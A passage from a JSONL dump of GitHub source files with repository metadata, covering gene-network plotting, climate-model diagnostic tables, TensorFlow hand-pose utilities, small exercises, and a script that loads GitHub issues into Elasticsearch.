\"curved_importance\": [e for m, e in zip(curved_mask, importances) if m],\n \"curved_rho\": [e for m, e in zip(curved_mask, rhos) if m],\n \"curved_width\": [e for m, e in zip(curved_mask, widths) if m],\n \"straight_edge\": [e for m, e in zip(curved_mask, edges) if not m],\n \"straight_importance\": [\n e for m, e in zip(curved_mask, importances) if not m\n ],\n \"straight_rho\": [e for m, e in zip(curved_mask, rhos) if not m],\n \"straight_width\": [e for m, e in zip(curved_mask, widths) if not m],\n }\n\n mpl_straight_edges = nx.draw_networkx_edges(\n G,\n pos,\n ax=ax,\n edgelist=edge_meta[\"straight_edge\"],\n arrowstyle=\"->\",\n arrowsize=30,\n edge_color=edge_meta[\"straight_rho\"],\n edge_cmap=cmap,\n width=edge_meta[\"straight_width\"],\n node_size=node_size,\n )\n mpl_curved_edges = nx.draw_networkx_edges(\n G,\n pos,\n ax=ax,\n edgelist=edge_meta[\"curved_edge\"],\n connectionstyle=f\"arc3, rad = 0.25\",\n arrowstyle=\"->\",\n arrowsize=30,\n edge_color=edge_meta[\"curved_rho\"],\n edge_cmap=cmap,\n width=edge_meta[\"curved_width\"],\n node_size=node_size,\n )\n\n if mpl_curved_edges is None:\n mpl_curved_edges = []\n if mpl_straight_edges is None:\n mpl_straight_edges = []\n\n if plot_cmap:\n pc = mpl.collections.PatchCollection(\n mpl_straight_edges + mpl_curved_edges, cmap=cmap\n )\n pc.set_array(rhos)\n cbar = plt.colorbar(pc, shrink=0.5)\n cbar.ax.set_ylabel(\n \"Spearman correlation\", rotation=270, fontsize=17, labelpad=17\n )\n\n if label_edges:\n edge_weights = nx.get_edge_attributes(G, \"importance\")\n curved_edge_labels = {\n edge: f\"{edge_weights[edge]:.1f}\" for edge in edge_meta[\"curved_edge\"]\n }\n straight_edge_labels = {\n edge: f\"{edge_weights[edge]:.1f}\" for edge in edge_meta[\"straight_edge\"]\n }\n fancy_draw_network_edge_labels(\n G, pos, ax=ax, edge_labels=curved_edge_labels, rotate=False, rad=0.25\n )\n fancy_draw_network_edge_labels(\n G, pos, ax=ax, edge_labels=straight_edge_labels, rotate=False\n )\n\n if if_alpha_edges:\n edge_importances = [\n w_dict[\"importance\"] for st, end, w_dict in G.edges(data=True)\n ]\n alpha_importances = [\n (w - min(edge_importances))\n / (max(edge_importances) - min(edge_importances))\n * alpha\n + alpha\n for w in edge_importances\n ]\n # set alpha value for each edge\n for i in range(len(alpha_importances)):\n edges[i].set_alpha(alpha_importances[i])\n\n plt.axis(\"off\")\n\n return ax\n\n\ndef graph_stats_vs_num_cells(graph_stats: dict, save_as: str = None) -> np.ndarray:\n \"\"\"\n Plot graph properties of inferred GRNs against the number of cells of corresponding scRNA-seq \n matrix.\n\n :param graph_stats: A dictionary containing graph properties, look in _data_processing.py in \n get_graph_stats() for details\n :param save_as: Name of the figure file, or None if not to save\n\n :return The numpy array of matplotlib axis\n \"\"\"\n\n fontsize = 25\n\n with sns.axes_style(\"white\"):\n f, ax = plt.subplots(1, 3, figsize=(33, 7))\n\n # Plotting num_nodes vs num_edges vs num_cells\n ax[0].scatter(\n graph_stats[\"all\"][\"num_cells\"],\n graph_stats[\"all\"][\"num_nodes\"],\n color=colors[\"green\"],\n label=\"Gene-gene networks\",\n )\n ax[0].scatter(\n graph_stats[\"ctx\"][\"num_cells\"],\n graph_stats[\"ctx\"][\"num_nodes\"],\n color=colors[\"red\"],\n label=\"TF regulon networks\",\n )\n\n ax1 = ax[0].twinx()\n ax1.scatter(\n graph_stats[\"all\"][\"num_cells\"],\n graph_stats[\"all\"][\"num_edges\"],\n color=colors[\"green\"],\n )\n ax1.scatter(\n graph_stats[\"ctx\"][\"num_cells\"],\n graph_stats[\"ctx\"][\"num_edges\"],\n color=colors[\"red\"],\n )\n\n ax[0].set_xlabel(\"Number of cells in data\", fontsize=fontsize)\n ax[0].set_ylabel(\"Number of nodes in network\", fontsize=fontsize)\n ax1.set_ylabel(\n \"Number of edges in network\", rotation=270, labelpad=20, fontsize=fontsize\n )\n\n ax[0].set_yscale(\"log\")\n ax1.set_yscale(\"log\")\n\n ax[0].grid(True)\n ax1.grid(True)\n\n # Plotting radius vs diameter vs num_cells\n ax[1].scatter(\n graph_stats[\"all\"][\"num_cells\"],\n graph_stats[\"all\"][\"diameter\"],\n color=colors[\"green\"],\n )\n ax[1].scatter(\n graph_stats[\"ctx\"][\"num_cells\"],\n graph_stats[\"ctx\"][\"diameter\"],\n color=colors[\"red\"],\n )\n\n ax[1].set_xlabel(\"Number of cells in data\", fontsize=fontsize)\n ax[1].set_ylabel(\"Network diameter\", fontsize=fontsize)\n\n ax[1].grid(True)\n\n # Plotting average_degree vs average_path_length vs num_cells\n ax[2].scatter(\n graph_stats[\"all\"][\"num_cells\"],\n graph_stats[\"all\"][\"average_degree\"],\n color=colors[\"green\"],\n )\n ax[2].scatter(\n graph_stats[\"ctx\"][\"num_cells\"],\n graph_stats[\"ctx\"][\"average_degree\"],\n color=colors[\"red\"],\n )\n\n ax1 = ax[2].twinx()\n ax1.scatter(\n graph_stats[\"all\"][\"num_cells\"],\n graph_stats[\"all\"][\"average_path_length\"],\n color=colors[\"green\"],\n )\n ax1.scatter(\n graph_stats[\"ctx\"][\"num_cells\"],\n graph_stats[\"ctx\"][\"average_path_length\"],\n color=colors[\"red\"],\n )\n\n ax[2].set_xlabel(\"Number of cells in data\", fontsize=fontsize)\n ax[2].set_ylabel(\"Node average degree in network\", fontsize=fontsize)\n ax1.set_ylabel(\n \"Average path length in network\",\n rotation=270,\n labelpad=25,\n fontsize=fontsize,\n )\n\n ax[2].grid(True)\n ax1.grid(True)\n\n handles, labels = ax[0].get_legend_handles_labels()\n f.legend(\n handles,\n labels,\n loc=\"upper center\",\n ncol=2,\n prop={\"size\": fontsize},\n bbox_to_anchor=(0.5, 1.1),\n )\n\n for i in range(3):\n ax[i].set_xscale(\"log\")\n\n plt.tight_layout()\n\n if save_as is not None:\n plt.savefig(save_as, bbox_inches=\"tight\")\n\n return ax\n\n\ndef graph_edge_stats_vs_num_cells(graph_stats: dict, save_as: str = None) -> np.ndarray:\n \"\"\"\n Plot graph edges properties of inferred GRNs against the number of cells of corresponding \n scRNA-seq matrix.\n\n :param graph_stats: A dictionary containing graph properties, look in _data_processing.py in \n get_graph_stats() for details\n :param save_as: Name of the figure file, or None if not to save\n\n :return The numpy array of matplotlib axis\n \"\"\"\n\n fontsize = 20\n\n with sns.axes_style(\"white\"):\n f, ax = plt.subplots(1, 3, figsize=(30, 7))\n\n # Plotting importance and rho\n importance_all, rho_all = np.random.choice(\n graph_stats[\"all\"][\"importances\"], size=10000\n ), np.random.choice(graph_stats[\"all\"][\"rhos\"], size=10000)\n importance_ctx, rho_ctx = np.random.choice(\n graph_stats[\"ctx\"][\"importances\"], size=10000\n ), np.random.choice(graph_stats[\"ctx\"][\"rhos\"], size=10000)\n ax[0].scatter(importance_all, rho_all, color=colors[\"green\"], alpha=0.1)\n ax[0].scatter(importance_ctx, rho_ctx, color=colors[\"red\"], alpha=0.1)\n\n ax[0].set_xlabel(\"Link importance\", fontsize=fontsize)\n ax[0].set_ylabel(\"Link Spearman correlation\", fontsize=fontsize)\n\n ax[0].grid(True)\n\n # Plotting importance median and std\n ax[1].scatter(\n graph_stats[\"all\"][\"num_cells\"],\n graph_stats[\"all\"][\"median_importance\"],\n color=colors[\"green\"],\n label=\"Gene-gene networks\",\n )\n ax[1].scatter(\n graph_stats[\"ctx\"][\"num_cells\"],\n graph_stats[\"ctx\"][\"median_importance\"],\n color=colors[\"red\"],\n label=\"TF regulon networks\",\n )\n\n ax[1].set_xlabel(\"Number of cells in data\", fontsize=fontsize)\n ax[1].set_ylabel(\"Link importance median\", fontsize=fontsize)\n\n ax[1].grid(True)\n\n # Plotting rho median and std\n ax[2].scatter(\n graph_stats[\"all\"][\"num_cells\"],\n graph_stats[\"all\"][\"median_rho\"],\n color=colors[\"green\"],\n )\n ax[2].scatter(\n graph_stats[\"ctx\"][\"num_cells\"],\n graph_stats[\"ctx\"][\"median_rho\"],\n color=colors[\"red\"],\n )\n\n ax[2].set_xlabel(\"Number of cells in data\", fontsize=fontsize)\n ax[2].set_ylabel(\"Link Spearman correlation median\", fontsize=fontsize)\n\n ax[2].grid(True)\n\n handles, labels = ax[1].get_legend_handles_labels()\n f.legend(handles, labels, loc=\"upper center\", ncol=2, prop={\"size\": fontsize})\n\n if save_as is not None:\n plt.savefig(save_as, bbox_inches=\"tight\")\n\n return ax\n\n\ndef graph_num_regulons_vs_num_cells(\n graph_stats: dict, save_as: str = None\n) -> sns.JointGrid:\n \"\"\"\n Plot the distribution of the number of inferred regulons against the number of cells of \n corresponding scRNA-seq matrix.\n\n :param graph_stats: A dictionary containing graph properties, look in _data_processing.py in \n get_graph_stats() for details\n :param save_as: Name of the figure file, or None if not to save\n\n :return The Seaborn JointGrid containing figure\n \"\"\"\n\n with sns.axes_style(\"white\"):\n # Plotting importance median and std\n g = sns.jointplot(\n x=graph_stats[\"ctx\"][\"num_cells\"],\n y=graph_stats[\"ctx\"][\"num_tfs\"],\n color=colors[\"blue\"],\n )\n\n g.ax_marg_x.cla()\n g.ax_marg_x.axis(\"off\")\n g.fig.set_size_inches(16, 8)\n\n dist_median = np.median(graph_stats[\"ctx\"][\"num_tfs\"])\n g.ax_marg_y.axhline(dist_median, color=\"k\", linestyle=\"dashed\", linewidth=1)\n min_xlim, max_xlim = g.ax_marg_y.get_xlim()\n g.ax_marg_y.text(\n max_xlim * 0.95,\n dist_median * 0.95,\n \"Median: {:.1f}\".format(dist_median),\n horizontalalignment=\"right\",\n verticalalignment=\"center\",\n fontsize=15,\n )\n\n g.ax_joint.set_xlabel(\"Number of cells in data\", fontsize=20)\n g.ax_joint.set_ylabel(\"Number of regulons\", fontsize=20)\n\n g.ax_joint.grid(True)\n\n g.fig.suptitle(\"The number of inferred regulons\", fontsize=22)\n\n if save_as is not None:\n plt.savefig(save_as, bbox_inches=\"tight\")\n\n return g\n\n\ndef plot_cloud(\n G: nx.DiGraph,\n partition: Dict[str, int],\n squeezed_pos: Dict[str, Tuple[float, float]],\n ax: Axes,\n anno_db: str,\n display_func: bool = False,\n central_genes: Union[bool, Dict[int, Dict[str, float]]] = True,\n if_betweenness: bool = True,\n limit_anno_until: int = 50,\n k: int = 3000,\n) -> Axes:\n \"\"\"\n Plot word clouds depicting communities in the graph. Communities will be laid out on the\n periphery, with each node being a gene. Either gene list or gene function will be displayed on\n top of each community (i.e. cloud of nodes). If gene list is displayed `display_func=False`,\n then the size of the gene corresponds to the centrality of the gene inside corresponding\n community. If gene function is displayed `display_func=True`, then the size of the function\n corresponds to the frequency of the functional term attributed to the top central genes.\n\n :param G: NetworkX graph\n :param partition: A dictionary where key is the node name and value is the community number,\n same as `node_to_community`\n :param squeezed_pos: A dictionary containing node coordinates (preferably squeezed version to\n speed up computation, look for `squeeze_graph` function)\n :param ax: an matplotlib axis object\n :param anno_db: a database tag, could be MSigDB, GO, DoRothEA, or etc. Look in\n `load_gene_func_db` for the full list\n :param display_func: True if display the gene functions in the word cloud, False if display gene\n names\n :param central_genes: Could be a boolean or a dictionary of dictionaries.\n If boolean:\n True - use only top `limit_anno_until` important genes (based on centrality) for\n plotting\n False - otherwise\n If dictionary:\n Pass the central genes and scores for each community for plotting. The dictionary has\n the following format:\n central_genes = {\n 0: {\n gene_name_1: gene_centrality_score_1,\n gene_name_2: gene_centrality_score_2,\n ...\n },\n ...\n }\n :param if_betweenness: True if use betweenness centrality as node importance score, False if use\n closeness centrality\n :param limit_anno_until: Number of genes to use to calculate wordcloud\n :param k: Use k nodes to estimate centrality\n\n :returns: The axis with the plotted communities as word clouds\n \"\"\"\n\n # Loading the gene functional annotation\n gene_func = load_gene_func_db(anno_db, reload=False, as_series=True)\n\n # Reverting partition dict -> {group_1: [gene_1, gene_2, ...], group_2: [gene_3, ...], ...}\n partition_genes_ = {}\n for gene, i in partition.items():\n if i not in partition_genes_.keys():\n partition_genes_[i] = [gene]\n else:\n partition_genes_[i] += [gene]\n\n # Whether to filter the genes on which we compute the word cloud (most important genes)\n if central_genes is True:\n compute_centrality = (\n nx.betweenness_centrality if if_betweenness else nx.closeness_centrality\n )\n kwargs = {\"weight\": \"distance\"} if if_betweenness else {\"distance\": \"distance\"}\n partition_genes = {}\n t = tqdm(partition_genes_.items())\n for i, genes in t:\n if if_betweenness:\n kwargs[\"k\"] = min(G.subgraph(genes).order(), k)\n t.set_description(\n f\"Processing cluster {i}, size={G.subgraph(genes).order()}\"\n )\n top_len = min(limit_anno_until, len(genes))\n top_gene_scores = dict(\n sorted(\n compute_centrality(G.subgraph(genes), **kwargs).items(),\n key=lambda x: x[1],\n reverse=True,\n )[:top_len]\n )\n # Renormalizing centrality scores between 1 and 100, and rounding them to use later when\n # displaying wordclouds (higher score - higher \"frequency\" or word size)\n norm_top_gene_scores = dict(\n zip(\n top_gene_scores.keys(),\n scale_int(list(top_gene_scores.values()), 1, 100),\n )\n )\n partition_genes[i] = norm_top_gene_scores\n print(\"Filtered genes for generating the function word cloud..\")\n\n elif isinstance(central_genes, dict):\n partition_genes = central_genes\n\n else:\n partition_genes = {\n i: {gene_: 1 for gene_ in gene_list}\n for i, gene_list in partition_genes_.items()\n }\n\n # If display gene function in the word clouds\n if display_func:\n # Computing functional annotation for each cluster as a concatenated list of annotations\n # Each annotation is weighted by its duplication gene_score times (e.g. a gene has score = 2 \n # -> the functional annotation is duplicated and have bigger font in WordCloud)\n partition_funcs = {\n i: \" \".join(\n chain.from_iterable(\n [\n gene_func[gene_func.index == gene].to_list() * gene_score\n for gene, gene_score in gene_score_list.items()\n ]\n )\n )\n for i, gene_score_list in partition_genes.items()\n }\n\n # Generating word counts from aggregated gene annotation texts -> \n # obtaining main (most frequent) function tokens\n word_counts = {\n i: WordCloud(\n max_words=30, min_font_size=15, stopwords=_STOPWORDS\n ).process_text(text)\n for i, text in partition_funcs.items()\n }\n word_counts = {\n i: (freqs if freqs else {\"no found function\": 1})\n for i, freqs in word_counts.items()\n } # dealing with no word case\n wordclouds = {\n i: WordCloud(\n max_words=30,\n min_font_size=15,\n stopwords=_STOPWORDS,\n background_color=\"white\",\n mask=get_elipsis_mask(),\n ).generate_from_frequencies(freqs)\n for i, freqs in word_counts.items()\n }\n\n # Display main genes in decreasing order of importance (top `top_len` genes)\n else:\n wordclouds = {\n i: WordCloud(\n max_words=30,\n min_font_size=15,\n background_color=\"white\",\n mask=get_elipsis_mask(),\n ).generate_from_frequencies(gene_score_dict)\n for i, gene_score_dict in partition_genes.items()\n }\n\n # Plotting the word cloud\n partition_coords = {}\n for gene, coords in squeezed_pos.items():\n if partition[gene] not in partition_coords:\n partition_coords[partition[gene]] = [coords]\n else:\n partition_coords[partition[gene]] += [coords]\n for i, coords in partition_coords.items():\n x, y = zip(*coords)\n min_x, max_x = min(x), max(x)\n min_y, max_y = min(y), max(y)\n ax.imshow(\n wordclouds[i], interpolation=\"bilinear\", extent=[min_x, max_x, min_y, max_y]\n )\n\n return ax\n","repo_name":"masyahook/scGRN","sub_path":"scGRN/network_analysis/_plotting.py","file_name":"_plotting.py","file_ext":"py","file_size_in_byte":28910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70663431468","text":"import pandas as pd\n\nlst = ['Java', 'Python', 'C', 'C++',\n 'JavaScript', 'Swift', 'Go']\n\n# data = {'Name': ['Tom', 'Joseph', 'Krish', 'John'], 'Age': [20, 21, 19, 18]}\n#\n# df = pd.DataFrame(data)\n\nexcel_data_df = pd.read_excel('test1.xlsx', sheet_name='Лист1', usecols=['Фамилия', 'Лаб 6.'])\n\nprint(excel_data_df)\nprint(excel_data_df['Фамилия'].tolist())\n\n\n","repo_name":"Vovan000333/IT_1cem","sub_path":"Лаб_7/Семинар_7.py","file_name":"Семинар_7.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73253427626","text":"import copy\nfrom jinja2 import Template\n\n_TEMPLATE = Template(\"\"\"\n{%- macro fortrantrue(t) -%}\n{%- if t -%}\n.true.\n{%- else -%}\n.false.\n{%- endif -%}\n{%- endmacro -%}\n\"FMS Model results\"\n{% if calendar -%}\n0001 1 1 0 0 0\n{%- else -%}\n0 0 0 0 0 0\n{%- endif %}\n# = output files =\n# file_name, output_freq, output_units, format, time_units, long_name\n{% for file in outputfiles %}\n\"{{ file.name }}\", {{ file.freq }}, \"{{ file.units }}\", 1, \"{{ file.time_units }}\", \"time\",\n{% endfor %}\n# = diagnostic field entries =\n# module_name, field_name, output_name, file_name, time_sampling, time_avg, other_opts, precision\n\n{% for file in outputfiles %}\n{% for field in file.fields -%}\n\"{{ field.module}}\", \"{{ field.name }}\", \"{{ field.name }}\", \"{{ file.name }}\", \"all\", {{ fortrantrue(field.time_avg) }}, \"none\", 2,\n{% endfor %}\n{% endfor %}\n\"\"\")\n\ndef numorstr(x):\n \"\"\"Try to parse a string into an int or float.\"\"\"\n x = x.strip()\n if x.startswith('\"'):\n return x.strip('\"')\n try:\n ix = int(x)\n fx = float(x)\n return ix if ix == fx else fx\n except: pass\n if x.lower() == '.true.': return True\n if x.lower() == '.false.': return False\n return x\n\nclass DiagTable(object):\n def __init__(self):\n super(DiagTable, self).__init__()\n self.files = {}\n self.calendar = None\n\n def add_file(self, name, freq, units=\"hours\", time_units=None):\n if time_units is None:\n time_units = units\n self.files[name] = {\n 'name': name,\n 'freq': freq,\n 'units': units,\n 'time_units': time_units,\n 'fields': []\n }\n\n def add_field(self, module, name, time_avg=False, files=None):\n if files is None:\n files = self.files.keys()\n\n for fname in files:\n self.files[fname]['fields'].append({\n 'module': module,\n 'name': name,\n 'time_avg': time_avg\n })\n\n def copy(self):\n d = DiagTable()\n d.files = copy.deepcopy(self.files)\n return d\n\n def has_calendar(self):\n if self.calendar is None or self.calendar.lower() == 'no_calendar':\n return False\n else:\n return True\n\n def write(self, filename):\n vars = {'calendar': self.has_calendar(), 'outputfiles': self.files.values()}\n _TEMPLATE.stream(**vars).dump(filename)\n\n def is_valid(self):\n return len(self.files) > 0\n\n @classmethod\n def from_file(cls, filename):\n lines = [l.strip() for l in open(filename)]\n lines = [l.split(',') for l in lines if not l.startswith(\"#\")]\n dt = cls()\n dt.calendar = False\n #dt.files = [l[0] for l in lines if len(l)==7]\n with open(filename, 'r') as file:\n for line in file:\n lx = line.strip()\n if lx.startswith('#'):\n continue\n if lx == '0001 1 1 0 0 0': \n dt.calendar = 'undefined'\n continue\n ls = lx.split(',')\n vals = [numorstr(x) for x in ls]\n if len(ls) == 7:\n dt.add_file(\n name=vals[0],\n freq=vals[1], \n units=vals[2], \n time_units=vals[4])\n elif len(ls) == 9:\n dt.add_field(\n module=vals[0], \n name=vals[1], \n time_avg=vals[5], \n files=[vals[3]])\n return dt","repo_name":"ExeClim/Isca","sub_path":"src/extra/python/isca/diagtable.py","file_name":"diagtable.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"37"} +{"seq_id":"31572383028","text":"\n\nconfig={}\nconfig['batch_size'] = 4\nconfig['vox_res_unet'] = 512\nconfig['vox_res_x'] = 64\nconfig['vox_res_y'] = 256\nconfig['categories']=['03001627']\nconfig['GPU'] = '0'\nconfig['re_train'] = False\nconfig['random_seed'] = 123\nconfig['train_epochs'] = 1\nconfig['bn_momentum'] = 0.95\nconfig['learning_rate_unet'] = 0.01\nconfig['MEAN_RGB'] = [0.0, 0.0, 0.0, 0.0]\nconfig['STD_RGB'] = [1.0, 1.0, 1.0, 1.0]\nconfig['voxel_pred_threshold'] = 0.65\n","repo_name":"pravinthsam/Ilios-3D-model-generation","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"1885594135","text":"\nfrom structpy import specification\nfrom GRIDD.data_structures.span import Span\nfrom GRIDD.data_structures.id_map import IdMap\nfrom GRIDD.globals import *\nfrom GRIDD.data_structures.concept_graph import ConceptGraph\nimport os\n\n@specification\nclass ElitDPSpec:\n\n @specification.init\n def ELITDP(ElitDPToLogic, knowledge_base, template_file_names, device='cpu'):\n \"\"\"\n `knowledge_base` is a KnowledgeBase object that the expression working memory has access to\n `template_file_names` are a variable number of filenames specifying parse-to-logic templates to load\n `device` specifies whether to run the inference engine on cpu or gpu for the conversions\n \"\"\"\n kb_dir = os.path.join('GRIDD', 'resources', KB_FOLDERNAME, 'kb')\n template_file = os.path.join('GRIDD', 'resources', KB_FOLDERNAME, 'elit_dp_templates.kg')\n elit_dp_to_logic = ElitDPToLogic(ConceptGraph(kb_dir), template_file, device=device)\n return elit_dp_to_logic\n\n def __call__(elit_dp_to_logic, args):\n \"\"\"\n `args` is a variable number of arguments that get passed to TextToLogic.translate() which\n runs all of the logic to compile the mentions and merges from the argument data.\n\n For this implementation, there are 3 args:\n `tok` is a list of spans corresponding to the tokens\n `pos` is a part of speech tag list of the tokens\n `dp` is a list of dependency relations between tokens\n\n All mention graphs share the same namespace.\n \"\"\"\n tok = [Span.from_string('i(0,1,0,0,1)'), Span.from_string('run(1,2,0,0,1)')]\n pos = ['NN', 'VB']\n dp = [(1, 'nsbj'), (-1, 'root')]\n mentions, merges = elit_dp_to_logic(tok, pos, dp)\n assert len(mentions) == 2\n assert mentions['i(0,1,0,0,1)'].id_map() == mentions['run(1,2,0,0,1)'].id_map()\n\n concepts_i = mentions['i(0,1,0,0,1)'].concepts()\n concepts_run = mentions['run(1,2,0,0,1)'].concepts()\n for concept in concepts_i:\n if concept.startswith(mentions['i(0,1,0,0,1)'].id_map().namespace):\n assert concept not in concepts_run","repo_name":"emora-chat/GRIDD","sub_path":"modules/elit_dp_to_logic_spec.py","file_name":"elit_dp_to_logic_spec.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39845569333","text":"import tensorflow as tf\n\n\ndef unnorm(hand_outs,subComs,subCubes,joint):\n def fn(elems):\n hand_out,subCom,subCube=elems[0],elems[1],elems[2]\n hand_=tf.multiply(hand_out,subCube[2]/2.)+tf.tile(tf.expand_dims(subCom,0),(joint,1))\n return [hand_,subCom,subCube]\n hands_xyz,_,_=tf.map_fn(fn,[hand_outs,subComs,subCubes])\n return hands_xyz\n\ndef back2Dori(hands_xyz,cfg):\n def fn(elems):\n hand_xyz,cfg=elems[0],elems[1]\n hand_xyz=hand_xyz/tf.tile(tf.expand_dims(hand_xyz[:,2],1),(1,3))\n uvd0=tf.matmul(cfg,tf.transpose(hand_xyz,(1,0)))\n #uvd0=tf.transpose(uvd0,(1,0))\n return [uvd0,cfg]\n uvds,_=tf.map_fn(fn,[hands_xyz,cfg])\n return uvds\n\ndef back2Dnew(uvds,subMs):\n def fn(elems):\n uvd,subM=elems[0],elems[1]\n uvd0=tf.matmul(subM,uvd)\n uvd0=tf.transpose(uvd0,(1,0))\n return [uvd0,subM]\n uvds, _=tf.map_fn(fn,[uvds,subMs])\n return uvds\n\ndef genHtmap(uvds,kernels):\n def fn(elems):\n uvd,kernel=elems[0],elems[1]\n uvd_pts = tf.reshape(uvd, (-1, 3))\n num_pt = uvd_pts.shape[0]\n num_pt_op = tf.to_int64(num_pt)\n\n nn = tf.range(num_pt, dtype=tf.int64)\n nn = tf.reshape(nn, (-1, 1))\n\n xx = uvd_pts[:, 0]\n xx = tf.clip_by_value(xx, 0, 24 - 1)\n xx = tf.to_int64(xx)\n xx = tf.reshape(xx, (-1, 1))\n\n yy = uvd_pts[:, 1]\n yy = tf.clip_by_value(yy, 0, 24 - 1)\n yy = tf.to_int64(yy)\n yy = tf.reshape(yy, (-1, 1))\n indices = tf.concat([nn, yy, xx], axis=1)\n\n val = 1.0\n raw_hm = tf.sparse_to_dense(sparse_indices=indices,\n output_shape=[num_pt_op, 24, 24],\n sparse_values=val)\n raw_hm = tf.expand_dims(raw_hm, axis=[-1])\n raw_hm = tf.cast(raw_hm, tf.float32)\n raw_hm=tf.nn.conv2d(raw_hm,tf.reshape(kernel,(3,3,1,1)),strides=(1,1,1,1),padding='SAME',data_format='NHWC')\n raw_hm=tf.squeeze(raw_hm)\n return [raw_hm,kernel]\n rets,_=tf.map_fn(fn,[uvds,kernels])\n rets=tf.transpose(rets,(0,2,3,1))\n return rets\n\n","repo_name":"dumyy/handpose","sub_path":"netutil/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":129,"dataset":"github-code","pt":"37"} +{"seq_id":"28577527863","text":"# Sample list with mixed data types\r\nmy_list = [1, 2, 3, (4, 5), 6, 7, 'eight', 9]\r\n\r\n# Initialize a counter\r\ncount = 0\r\n\r\n# Iterate through the list until a tuple is encountered\r\nfor item in my_list:\r\n if isinstance(item, tuple):\r\n break # Exit the loop when a tuple is encountered\r\n count += 1\r\n\r\n# Print the count of elements before the tuple\r\nprint(\"Count of elements before the tuple:\", count)\r\n","repo_name":"jatin009v/Python-Programs-","sub_path":"assignment/Tuple/program to count the elements.py","file_name":"program to count the elements.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26327590339","text":"def digit_sieve(lines, most_common=True):\n for d in range(len(lines[0])):\n ones = [line for line in lines if line[d] == '1']\n zeroes = [line for line in lines if line[d] == '0']\n if most_common:\n lines = zeroes if len(ones) < len(zeroes) else ones\n else:\n lines = ones if len(ones) < len(zeroes) else zeroes\n\n if len(lines) == 1:\n return lines[0]\n\n\nwith open('input.txt', 'r') as input_file:\n lines = [line.strip() for line in input_file.readlines()]\n\noxy = int(digit_sieve(lines, True), 2)\nco2 = int(digit_sieve(lines, False), 2)\nprint(f\"oxygen={oxy}, co2={co2}, rating={oxy*co2}\")\n","repo_name":"LLinville/misc_code","sub_path":"advent2021/3/day3b.py","file_name":"day3b.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22810111530","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = \"knarfeh@outlook.com\"\n\nimport os\nimport json\nimport requests\nfrom requests.utils import parse_header_links\n\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch import helpers\nfrom utils import str2bool\n\nURL = os.getenv('URL', 'https://github.com/lifesinger/blog/issues')\nQUERY_STRING = os.getenv('QUERY_STRING', 'state=open')\nGITHUB_TOKEN = os.getenv('GITHUB_TOKEN')\nDAY_TIME_STAMP = os.getenv('DAY_TIME_STAMP')\nES_HOST_PORT = os.getenv('ES_HOST_PORT')\nINCLUDE_COMMENTS = str2bool(os.getenv('INCLUDE_COMMENTS'))\n\nrepo_name_list = URL[URL.find('github.com')+len('github.com'):URL.find('issues')].split('/')\nREPO_NAMESPACE = repo_name_list[1]\nREPO_NAME = repo_name_list[2]\n\ndef _get_doc_source(issue):\n source = dict()\n content_list = list()\n content_list.append({\n 'author': issue['user']['login'],\n 'content': issue['body']\n })\n\n if INCLUDE_COMMENTS is True:\n comments_url = issue['comments_url']\n print('comments_url: {}'.format(comments_url))\n r = requests.get(comments_url, auth=('eebook', GITHUB_TOKEN))\n comments = json.loads(r.text)\n for comment in comments:\n content_list.append({\n 'author': comment['user']['login'],\n 'content': comment['body']\n })\n source = {\n \"author\": issue['user']['login'],\n \"title\": issue['title'],\n \"dayTimestamp\": DAY_TIME_STAMP,\n \"content\": content_list\n }\n return source\n\ndef main():\n url = 'https://api.github.com/repos/' + REPO_NAMESPACE + '/' + REPO_NAME + '/issues?' + QUERY_STRING\n r = requests.get(url, auth=('eebook', GITHUB_TOKEN))\n issues = json.loads(r.text)\n es = Elasticsearch([ES_HOST_PORT])\n bulk_data = list()\n for item in issues:\n source_doc = _get_doc_source(item)\n bulk_data.append({\n '_index': 'github',\n '_type': URL + ':content',\n '_id': item['id'],\n '_op_type': 'update',\n '_source': {'doc': source_doc, 'doc_as_upsert': True}\n })\n\n helpers.bulk(es, bulk_data)\n\n last_page = 1\n if r.headers.get(\"link\", None) is not None:\n links = parse_header_links(r.headers['link'])\n last_url = [item['url'] for item in links if item['rel']=='last'][0]\n last_page = int(last_url[last_url.rfind('page=')+5:])\n \n print(\"Total page of issues: {}\".format(last_page))\n page = 2\n while page <= last_page:\n now_url = url + '&page=' + str(page)\n print('Now url: {}'.format(now_url))\n r = requests.get(now_url)\n issues = json.loads(r.text)\n for item in issues:\n source_doc = _get_doc_source(item)\n bulk_data.append({\n '_index': 'github',\n '_type': URL + ':content',\n '_id': item['id'],\n '_op_type': 'update',\n '_source': {'doc': source_doc, 'doc_as_upsert': True}\n })\n page += 1\n bulk_data.append({\n '_index': 'eebook',\n '_type': 'metadata',\n '_id': URL,\n '_op_type': 'update',\n '_source': {\n 'doc': {\n 'type': 'github',\n 'title': REPO_NAMESPACE + '-' + REPO_NAME + '-githubissues2ebook',\n 'book_desp': 'TODO',\n 'created_by': 'knarfeh',\n 'query': {\n 'bool': {\n 'must':[\n {\n \"terms\": {\n \"dayTimestamp\": [DAY_TIME_STAMP]\n }\n }\n ]\n }\n }\n },\n 'doc_as_upsert': True\n }\n })\n helpers.bulk(es, bulk_data)\n\n\nif __name__ == \"__main__\":\n print(\"githubissues2ebook running...\")\n 